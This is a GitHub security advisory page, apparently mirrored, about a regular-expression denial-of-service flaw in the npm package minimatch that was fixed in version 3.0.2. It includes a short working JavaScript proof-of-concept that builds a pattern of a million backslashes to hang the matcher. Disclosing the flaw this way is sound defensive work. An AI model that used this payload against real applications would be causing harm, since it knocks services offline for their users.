Loading HuntDB...

GHSA-hxm2-r34f-qmc5

GitHub Security Advisory

Regular Expression Denial of Service in minimatch

✓ GitHub Reviewed HIGH Has CVE

Advisory Details

Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.

## Proof of Concept
```js
var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
```

## Recommendation

Update to version 3.0.2 or later.

Affected Packages

npm minimatch
Affected versions: 0 (fixed in 3.0.2)

Related CVEs

Key Information

GHSA ID
GHSA-hxm2-r34f-qmc5
Published
October 9, 2018 12:40 AM
Last Modified
September 11, 2023 10:02 PM
CVSS Score
7.5 /10
Primary Ecosystem
npm
Primary Package
minimatch
GitHub Reviewed
✓ Yes

Dataset

Last updated: July 3, 2025 6:26 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.